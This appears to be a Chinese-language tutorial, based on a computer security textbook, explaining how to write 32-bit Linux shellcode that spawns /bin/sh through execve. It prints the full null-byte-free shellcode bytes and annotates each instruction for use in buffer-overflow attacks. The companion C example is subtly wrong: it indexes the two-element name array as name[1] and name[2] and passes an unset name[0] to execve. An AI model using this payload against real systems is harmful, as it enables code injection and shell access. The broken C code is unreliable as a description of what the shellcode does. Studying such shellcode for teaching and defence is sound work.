什麼樣的shellcode可以起到最大的破壞,那就是能夠滿足攻擊者各種各樣需要的shellcode,怎麼才能滿足各種各樣的需要呢?調用shell。
如何寫一個shellcode,以需要execve()系統調用的shellcode為例:
- %eax:eax寄存器需要存儲11,這是execve()的系統調用号(system call number)
- %ebx:存儲控制字元串“/bin/sh”的位址(execve()的第一個參數)
- %ecx:存儲參數數組的位址(execve()的第二個參數)
- %edx:存儲環境變量數組的位址,不需要時可以置0
參考《Computer Security:A Hand-on Approach 》,有如下shellcode,
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
如上shellcode類似于如下c代碼,即通過execve()系統調用,執行/bin/sh,生成shell
#include <stddef.h>
void main()
{
char *name[2];
name[1]="/bin/sh";
name[2]=NULL;
execve(name[0],name,NULL);
}
(1)xorl %eax,%eax :使用xor指令清空eax,即使eax=0,不可以使用movl 0,%eax,因為會在shellcode中引入’0’,一些存在bufferoverflow的函數,如strcpy(),都是在源字元串中檢測’0’,若遇到‘0’,預設為字元串結束,則之後的字元串不會被拷貝。
(2)pushl %eax :将0入棧,标記了"/bin/sh"的結尾,用pushl也可以避免在shellcode中引入’0’
(3)pushl $0x68732f2f:傳遞"/sh",為了4位元組對齊,使用//sh,這在execve()中等同于/sh
(4)pushl $0x6e69622f:傳遞“/bin”,為4個位元組。
(5)movl %esp,%ebx :此時esp指向了"/bin/sh",通過esp将該字元串的值傳遞給ebx
(6)pushl %eax
pushl %ebx :在棧中構造Name數組,ebx存儲了"/bin/sh"字元串的位址,eax中為0,作為Name[1];
(7)movl %esp,%ecx :esp指向構造的Name數組,将其儲存在ecx中
(8)cdq :清空edx,edx中存放環境變量,0代表不傳遞環境變量,也可以使用xorl %edx %edx,但是該指令更長。
(9)movb $0x0b,%al
int $0x80:eax存儲系統調用号11(0x0b),int指令調用系統調用